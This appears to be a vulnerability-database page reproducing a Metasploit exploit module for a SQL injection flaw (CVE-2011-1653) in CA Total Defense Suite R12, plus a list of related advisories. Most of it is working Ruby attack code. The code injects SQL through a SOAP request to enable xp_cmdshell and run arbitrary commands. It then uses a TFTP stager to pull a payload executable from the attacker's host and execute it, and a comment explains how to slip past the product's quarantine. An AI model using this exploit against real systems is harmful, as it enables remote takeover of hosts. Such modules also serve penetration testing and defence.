Lucene search
+L

CA Total Defense Suite reGenerateReports Stored Procedure SQL Injection

🗓️ 02 Oct 2011 15:53:44Reported by MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 55 Views

Exploits SQL injection in CA Total Defense Suite for remote command execution via stored procedure.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
CA Total Defense Suite reGenerateReports Stored Procedure SQL Injection
1 Oct 201100:00
zdt
ATTACKERKB
CVE-2011-1653
18 Apr 201115:00
attackerkb
Circl
CVE-2011-1653
2 Oct 201100:00
circl
Check Point Advisories
CA Total Defense Suite UNCWS Multiple Report Stored Procedure SQL Injections (CVE-2011-1653)
17 May 201100:00
checkpoint_advisories
CVE
CVE-2011-1653
15 Apr 201119:00
cve
Cvelist
CVE-2011-1653
15 Apr 201119:00
cvelist
Exploit DB
CA Total Defense Suite - reGenerateReports Stored procedure SQL Injection (Metasploit)
2 Oct 201100:00
exploitdb
NVD
CVE-2011-1653
18 Apr 201115:00
nvd
Packet Storm
CA Total Defense Suite reGenerateReports Stored Procedure SQL Injection
4 Oct 201100:00
packetstorm
Prion
Sql injection
18 Apr 201115:00
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CA Total Defense Suite reGenerateReports Stored Procedure SQL Injection',
      'Description'    => %q{
          This module exploits a SQL injection flaw in CA Total Defense Suite R12.
        When supplying a specially crafted soap request to '/UNCWS/Management.asmx', an
        attacker can abuse the reGenerateReports stored procedure by injecting arbitrary sql
        statements into the ReportIDs element.

      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'ZDI', '11-134' ],
          [ 'OSVDB', '74968'],
          [ 'CVE', '2011-1653' ],
        ],
      'Targets'	=>
        [
          [ 'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ]
        ],
      'CmdStagerFlavor' => 'tftp',
      'Privileged' => true,
      'Platform' => 'win',
      'DisclosureDate' => '2011-04-13',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(34443),
        OptBool.new('SSL',   [ true, 'Use SSL', true ]),
        OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
      ])
  end

  def windows_stager
    print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
    tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
    execute_cmdstager({ temp: '.', tftphost: tftphost })
    @payload_exe = generate_payload_exe

    print_status("Attempting to execute the payload...")
    execute_command(@payload_exe)

  end

  def execute_command(cmd, opts = {})

    #	NOTE: This module was tested against the MS SQL Server 2005 Express bundled with
    #	CA Total Defense Suite R12. CA's Total Defense Suite real-time protection
    #	will quarantine the default framework executable payload. Choosing an alternate
    #	exe template will bypass the quarantine.

    inject = [
        "'') exec master.dbo.sp_configure 'show advanced options', 1;reconfigure;--",
        "'') exec master.dbo.sp_configure 'xp_cmdshell',1;reconfigure;--",
        "'') exec master.dbo.xp_cmdshell 'cmd.exe /c #{cmd}';--",
      ]

    inject.each do |sqli|

    soap = %Q|<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
  <soap12:Body>
    <reGenerateReports xmlns="http://tempuri.org/">
      <EnterpriseID>msf</EnterpriseID>
      <ReportIDs>#{sqli}</ReportIDs>
      <UserID>187</UserID>
    </reGenerateReports>
  </soap12:Body>
</soap12:Envelope>
    |

    res = send_request_cgi(
      {
        'uri'   =>  '/UNCWS/Management.asmx',
        'method' => 'POST',
        'version' => '1.0',
        'ctype' => 'application/soap+xml; charset=utf-8',
        'data' => soap,
      }, 5)

    if ( res and res.body =~ /SUCCESS/ )
        #print_good("Executing command...")
      else
        fail_with(Failure::Unknown, 'Something went wrong.')
      end
    end

  end

  def exploit

    unless datastore['CMD'].blank?
      print_status("Executing command '#{datastore['CMD']}'")
      execute_command(datastore['CMD'])
      return
    end

    case target['Platform']
      when 'win'
        windows_stager
      else
        fail_with(Failure::Unknown, 'Target not supported.')
    end

    handler

  end
end
__END__
POST /UNCWS/Management.asmx HTTP/1.1
Host: 192.168.31.129
Content-Type: application/soap+xml; charset=utf-8
Content-Length: length

<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
  <soap12:Body>
    <reGenerateReports xmlns="http://tempuri.org/">
      <EnterpriseID>string</EnterpriseID>
      <ReportIDs>string</ReportIDs>		<--boom!!
      <UserID>long</UserID>
    </reGenerateReports>
  </soap12:Body>
</soap12:Envelope>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jun 2022 09:10Current
0.6Low risk
Vulners AI Score0.6
CVSS 210
EPSS0.88655
55